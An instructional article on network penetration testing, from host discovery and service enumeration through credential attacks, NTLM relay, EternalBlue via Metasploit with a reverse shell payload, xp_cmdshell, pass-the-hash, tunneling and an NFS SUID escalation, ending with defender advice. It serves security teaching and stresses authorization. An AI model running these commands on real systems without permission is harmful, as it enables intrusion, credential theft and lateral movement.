Most companies lock their front door but leave the side windows open. A network penetration test finds those windows — open ports running outdated services, misconfigured protocols, credentials reused across the infrastructure, and segmentation gaps that let an attacker pivot from a compromised workstation all the way to domain controllers.

TL;DR

  • Network pentesting follows a structured methodology: discovery → enumeration → vulnerability analysis → exploitation → post-exploitation → pivoting
  • Nmap is the foundation; learn it deeply before reaching for specialized tools
  • The most impactful findings come from: default credentials, unpatched services, misconfigured SMB/NFS/SNMP, and overly permissive network segmentation
  • Pivoting and tunneling let you reach internal segments from a compromised host — this is where network pentests reveal their real value
  • Document everything: source IPs, timestamps, commands run, findings — your report is the deliverable

The Engagement Context

Before touching a packet, understand the scope:

  • Black box: No prior information — simulate an external attacker
  • Gray box: Some information provided (network ranges, domain names, maybe user accounts)
  • White box: Full access to architecture diagrams, configs, credentials — thorough but less realistic

Get written authorization specifying:

  • In-scope IP ranges or CIDRs
  • Out-of-scope systems (production databases, critical infrastructure)
  • Permitted test windows (business hours vs. 24/7)
  • Point of contact in case something breaks

This isn’t optional. Without authorization, network testing is illegal in every jurisdiction.

Phase 1: Discovery — Find What’s Alive

Passive Reconnaissance

Before sending a single packet to the target, gather intelligence:

Terminal window
# DNS enumeration
dig @8.8.8.8 target.example any
dig @8.8.8.8 target.example MX
fierce --domain target.example          # subdomain brute-force
subfinder -d target.example             # passive subdomain enumeration


# BGP/ASN lookup — find all IP ranges
whois AS12345
amass intel -org "Target Corp"

ICMP Host Discovery

The traditional ping sweep — fast but often blocked:

Terminal window
# Nmap ping sweep (no port scan)
nmap -sn 10.10.0.0/24


# Send ICMP echo requests without port scan
nmap -sn -PE 10.10.0.0/24


# When ICMP is blocked — ARP discovery (local network only)
nmap -sn -PR 192.168.1.0/24
arp-scan --localnet

TCP/UDP Discovery Without Full Scan

When you need to be quieter than a full port scan:

Terminal window
# SYN to common ports only — faster than full scan
nmap -sn --send-ip -PS22,80,443,3389,8080 10.10.0.0/24


# Use masscan for high-speed discovery across large ranges
masscan -p80,443,22,3389 10.0.0.0/8 --rate=10000 -oL masscan_results.txt

Phase 2: Port Scanning and Service Enumeration

The Nmap Baseline

Terminal window
# Standard scan — top 1000 ports, service detection, OS detection
nmap -sV -sC -O 10.10.0.100 -oA scan_baseline


# Full port scan — all 65535 ports
nmap -p- -T4 10.10.0.100 -oA scan_fullport


# UDP scan (slow but finds SNMP, DNS, TFTP, NTP)
nmap -sU -p 53,67,68,69,111,123,137,138,161,500 10.10.0.0/24


# Aggressive scan — everything at once
nmap -A -p- 10.10.0.100 -oA scan_aggressive

Nmap output formats:

  • -oN — human-readable
  • -oX — XML (import into Metasploit or reporting tools)
  • -oG — grepable
  • -oA — all three simultaneously

Service-Specific Enumeration

Once you know what’s running, enumerate each service deeply.

SMB (445/TCP) — Windows File Sharing

SMB is the most common source of critical findings in Windows environments.

Terminal window
# Enumerate shares, users, OS version
enum4linux-ng -A 10.10.0.100


# Nmap SMB scripts
nmap --script smb-enum-shares,smb-enum-users,smb-vuln-ms17-010 10.10.0.100


# Check for EternalBlue (MS17-010)
nmap --script smb-vuln-ms17-010 10.10.0.100


# List shares without credentials (null session)
smbclient -L //10.10.0.100 -N


# Connect to a share
smbclient //10.10.0.100/SharedDocs -N


# Mount the share
mount -t cifs //10.10.0.100/SharedDocs /mnt/smb -o guest

What to look for in SMB:

  • World-readable shares with sensitive documents (passwords, configs, HR data)
  • EternalBlue (MS17-010) — unauthenticated RCE
  • SMB signing disabled — enables relay attacks
  • NTLMv1 negotiation enabled — weak hash, crackable

FTP (21/TCP) — File Transfer Protocol

Terminal window
# Check for anonymous login
nmap --script ftp-anon 10.10.0.100
ftp 10.10.0.100  # username: anonymous, password: anything


# Check for bounce attacks, misconfigurations
nmap --script ftp-bounce,ftp-syst,ftp-vuln-cve2010-4221 10.10.0.100

Anonymous FTP access is an instant finding. Look for:

  • Configuration files
  • Backup archives
  • Database exports
  • Any file that shouldn’t be public

SSH (22/TCP)

Terminal window
# Check authentication methods and algorithms
nmap --script ssh-auth-methods,ssh-hostkey,ssh2-enum-algos 10.10.0.100


# Banner grab — version fingerprinting
nc 10.10.0.100 22


# Brute-force (only with explicit permission and rate limiting)
hydra -l root -P /opt/wordlists/rockyou.txt ssh://10.10.0.100 -t 4

Old SSH versions (OpenSSH < 7.x) have known vulnerabilities. Weak algorithms (MD5, RC4, DSS) are findings even without exploitation.

SNMP (161/UDP) — Network Management Protocol

Frequently forgotten, often configured with default community strings:

Terminal window
# Brute-force community strings
onesixtyone -c /usr/share/wordlists/metasploit/snmp_default_pass.txt 10.10.0.100


# Enumerate with default "public" community string
snmpwalk -v2c -c public 10.10.0.100
snmpwalk -v2c -c public 10.10.0.100 1.3.6.1.2.1.1      # system info
snmpwalk -v2c -c public 10.10.0.100 1.3.6.1.2.1.25.4.2  # running processes
snmpwalk -v2c -c public 10.10.0.100 1.3.6.1.4.1.77.1.2.25  # Windows users


# nmap SNMP scripts
nmap -sU -p 161 --script snmp-brute,snmp-info,snmp-interfaces 10.10.0.100

SNMP with public/private community strings exposes: system information, network interfaces, routing tables, ARP cache, running processes, and installed software — a complete picture of the host without authentication.

SMTP (25/587/TCP) — Email Server

Terminal window
# Enumerate valid users (VRFY, EXPN, RCPT TO)
smtp-user-enum -M VRFY -U /opt/wordlists/usernames.txt -t 10.10.0.100
nmap --script smtp-enum-users,smtp-open-relay 10.10.0.100


# Check for open relay (sends email for anyone)
telnet 10.10.0.100 25
EHLO test
MAIL FROM: <attacker@evil.com>
RCPT TO: <victim@target.example>
DATA
Subject: Test
.

Open mail relay = instant critical finding. Valid user enumeration enables targeted password attacks.

RDP (3389/TCP) — Remote Desktop

Terminal window
# Fingerprint RDP
nmap --script rdp-enum-encryption,rdp-vuln-ms12-020 10.10.0.100


# Check for BlueKeep (CVE-2019-0708) — unauthenticated RCE (older systems)
nmap --script rdp-vuln-ms12-020 10.10.0.100


# Screenshot RDP login screen without authentication
nmap --script rdp-screenshot 10.10.0.100

Database Services

Terminal window
# MySQL (3306)
nmap --script mysql-enum,mysql-info,mysql-empty-password 10.10.0.100
mysql -h 10.10.0.100 -u root -p    # try empty password, "root", "password"


# MSSQL (1433)
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-config 10.10.0.100
# xp_cmdshell if SA account is enabled:
impacket-mssqlclient sa:@10.10.0.100
SQL> EXEC xp_cmdshell 'whoami'


# PostgreSQL (5432)
nmap --script pgsql-brute 10.10.0.100
psql -h 10.10.0.100 -U postgres -W   # default credentials


# Redis (6379) — usually no auth
redis-cli -h 10.10.0.100
> INFO
> CONFIG GET *
> KEYS *

Databases exposed to the network with default or empty credentials are critical findings. MSSQL’s xp_cmdshell gives OS-level code execution directly from SQL.

Phase 3: Vulnerability Analysis

Automated Scanning

After manual enumeration, run a vulnerability scanner:

Terminal window
# Nessus (commercial, most comprehensive)
# OpenVAS (open source alternative)
# Nuclei — fast, template-based


# Nuclei with network templates
nuclei -l targets.txt -t network/ -o nuclei_results.txt


# Metasploit's vulns db_nmap integration
msfconsole
msf> db_nmap -sV -p- 10.10.0.100
msf> vulns

Don’t let automated scanners do your thinking. They miss context-specific vulnerabilities and generate false positives. Use them to augment manual enumeration, not replace it.

Searching for Known Exploits

Terminal window
# searchsploit — local Exploit-DB copy
searchsploit "OpenSSH 7.4"
searchsploit --cve CVE-2021-41773   # Apache path traversal


# Check NVD directly for CVE details
# Cross-reference version from Nmap -sV output with CVE databases

Phase 4: Exploitation

Credential Attacks

The most reliable path to initial access in internal network tests.

Run credential testing only inside a written scope, with lockout thresholds and rate limits agreed in advance. The examples below use placeholders intentionally; replace them only in an authorized lab or sanctioned assessment.

Terminal window
# Password spraying — one password against many users (avoid lockout)
crackmapexec smb 10.10.0.0/24 -u users.txt -p "<PASSWORD>" --continue-on-success


# Default credential check across all discovered services
crackmapexec smb 10.10.0.0/24 -u admin -p "<DEFAULT_PASSWORD>"
hydra -C /opt/wordlists/default-credentials.txt ssh://10.10.0.100


# Hash dumping after gaining initial access
crackmapexec smb 10.10.0.100 -u admin -p "<PASSWORD>" --sam   # SAM database
crackmapexec smb 10.10.0.100 -u admin -p "<PASSWORD>" --lsa   # LSA secrets


# Crack captured hashes
hashcat -m 1000 -a 0 hashes.txt /opt/wordlists/rockyou.txt  # NTLM
hashcat -m 5600 -a 0 hashes.txt /opt/wordlists/rockyou.txt  # NTLMv2

LLMNR/NBT-NS Poisoning

When a Windows host can’t resolve a name via DNS, it broadcasts LLMNR/NBT-NS. An attacker on the local network can respond to these broadcasts and capture NTLMv2 hashes:

Terminal window
# Start Responder on the local interface
responder -I eth0 -rdwv


# Wait for authentication attempts — they come from:
# - Users navigating to non-existent shares (\\typo\share)
# - Misconfigured GPOs
# - Print spooler bugs


# Captured hashes appear in /opt/responder/logs/
# Crack or relay them

This is one of the highest-yield techniques in internal network tests — captured hashes can be cracked offline or relayed for immediate authentication.

SMB Relay Attack

Instead of cracking captured hashes, relay them directly to other hosts:

Terminal window
# Prerequisite: SMB signing disabled on target
crackmapexec smb 10.10.0.0/24 --gen-relay-list relay_targets.txt


# Set up ntlmrelayx to relay to targets
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -i


# Trigger capture with Responder (disable SMB/HTTP in Responder config)
responder -I eth0 -rdwv


# When a user connects to Responder, their hash is relayed to the target list
# On success: shell, secretsdump, or command execution

Exploiting Known CVEs

Treat exploit modules as lab or explicitly approved assessment activity, not vulnerability validation for production by default. Confirm the target is in scope and that the test window allows service disruption before running exploit code.

Terminal window
# EternalBlue — MS17-010 (Windows 7/2008 without patches)
msfconsole
msf> use exploit/windows/smb/ms17_010_eternalblue
msf> set RHOSTS 10.10.0.100
msf> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf> set LHOST 10.10.0.1
msf> run


# Apache Log4j — log4shell
# PrintNightmare — CVE-2021-34527
# ProxyShell — Exchange CVE-2021-34473

Phase 5: Post-Exploitation and Pivoting

Getting initial access is one thing. Pivoting deeper into the network is where network pentests reveal their real value — demonstrating what an attacker can reach from a single compromised host.

Local Enumeration on Compromised Host

Terminal window
# Who are we, what can we do?
whoami /all
net user
net localgroup administrators


# Network interfaces and routing
ipconfig /all           # Windows
ip addr; ip route       # Linux


# What can we reach?
arp -a                   # local ARP cache — hosts we've spoken to
netstat -ano             # active connections and listening ports
route print              # routing table — what subnets are reachable?

Port Forwarding — Reach Services Behind a Host

You’ve compromised a host in the DMZ. The database server is in an internal subnet, reachable from the DMZ host but not from your attack machine.

SSH Local Port Forward:

Terminal window
# Forward local port 1433 through the DMZ host to the internal DB
ssh -L 1433:10.20.0.50:1433 user@dmz_host


# Now connect to the DB via localhost
mssqlclient.py sa:@localhost:1433

Chisel — works when SSH isn’t available:

Terminal window
# On attack machine (server)
chisel server --reverse --port 8080


# On compromised host (client)
chisel client 10.10.0.1:8080 R:1433:10.20.0.50:1433


# Now localhost:1433 on attack machine → internal DB

SOCKS Proxy — Route All Traffic Through a Compromised Host

A SOCKS proxy lets you use any tool through the compromised host as if your attack machine were on the internal network:

Terminal window
# SSH dynamic forwarding — creates SOCKS5 proxy on local port 1080
ssh -D 1080 user@compromised_host


# Use proxychains to route tools through the proxy
# Edit /etc/proxychains.conf: socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 10.20.0.0/24   # scan internal subnet via pivot
proxychains crackmapexec smb 10.20.0.0/24 -u admin -p password


# Metasploit SOCKS plugin
msf> use auxiliary/server/socks_proxy
msf> set SRVPORT 1080
msf> run -j

Metasploit Pivoting

If you have a Meterpreter session, pivot is built in:

Terminal window
# Add a route to an internal subnet via the compromised session
msf> route add 10.20.0.0/24 1   # session 1 is the pivot host


# Now Metasploit routes traffic through the session
msf> use auxiliary/scanner/portscan/tcp
msf> set RHOSTS 10.20.0.0/24
msf> run


# Or use socks proxy module for external tools
msf> use auxiliary/server/socks_proxy

Double Pivoting

Sometimes you need to pivot through two hosts to reach a deeply segmented network:

Attack Machine → DMZ Host → Internal Host → Core Network
Terminal window
# First pivot: SSH SOCKS proxy through DMZ host
ssh -D 1080 user@dmz_host


# Second pivot: SSH SOCKS proxy through internal host, tunneled via first proxy
proxychains ssh -D 1081 user@internal_host


# Now proxychains configured with port 1081 reaches the core network
proxychains4 nmap -sT -Pn 10.30.0.0/24

Credential Pivoting

Once you have credentials or hashes from one host, test them across the rest of the network:

Terminal window
# Pass-the-hash — authenticate with NTLM hash (no plaintext needed)
crackmapexec smb 10.10.0.0/24 -u Administrator -H <LM_HASH>:<NTLM_HASH> --local-auth


# Password spraying with recovered credentials
crackmapexec smb 10.10.0.0/24 -u "<USERNAME>" -p "<RECOVERED_PASSWORD>"

Credential reuse across systems is one of the most common findings in network pentests. A single recovered password often unlocks dozens of hosts.

Common Critical Findings in Network Pentests

FindingDiscovery MethodImpact
EternalBlue (MS17-010)nmap --script smb-vuln-ms17-010Unauthenticated RCE
Default credentials on network devicesManual testing, HydraFull device control
LLMNR/NBT-NS poisoning viableResponderNTLMv2 hash capture
SMB signing disabledcrackmapexec --gen-relay-listSMB relay, code execution
SNMP public community stringonesixtyone, snmpwalkFull host enumeration
Anonymous FTP with sensitive datanmap --script ftp-anonData breach
Database with default/empty passwordManual testingFull data access, OS command execution
Overly permissive network segmentationRouting table analysis post-compromiseLateral movement to all segments
Exposed Redis/MongoDB/ElasticsearchPort scan + direct connectionUnauthenticated data access
NFS shares exported to *showmount -eFile system access without authentication

NFS — Network File System Enumeration

Often forgotten, frequently misconfigured:

Only perform the SUID proof-of-impact step in a lab or when the rules of engagement explicitly allow writing to the exported share.

Terminal window
# List exported shares
showmount -e 10.10.0.100


# Mount a share (if exported to *)
mount -t nfs 10.10.0.100:/opt/backups /mnt/nfs


# If you have root on your attack machine and the NFS export allows root_squash=off:
# Create a SUID binary in the mounted share
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash
# Execute on the target via another access vector to escalate

What You Can Do Today

If you’re a network security engineer:

  1. Disable LLMNR and NBT-NS in Group Policy — it eliminates an entire attack category
  2. Enforce SMB signing on all Windows hosts — prevents relay attacks
  3. Audit network segmentation — can a workstation reach your core infrastructure directly?
  4. Change all default credentials on network devices, printers, and management interfaces
  5. Run nmap -sU -p 161 10.0.0.0/8 — find every SNMP device using default community strings

If you’re a penetration tester:

  1. Don’t just scan the top 1000 ports — run a full -p- scan in parallel with enumeration
  2. Responder first thing in internal tests — let it collect hashes while you enumerate
  3. For pivoting, keep Chisel in your toolkit — it works when SSH and Metasploit can’t
  4. Document your pivot chain in detail — the report needs to show the path from internet to crown jewels

If you’re a CISO:

  1. Internal network pentests should be scoped to reach from “external attacker gets one workstation” to “how far can they go” — not just perimeter testing
  2. Network segmentation effectiveness should be validated annually — policy and reality often diverge
  3. Password spraying tests reveal credential hygiene — include it in your test scope

Sources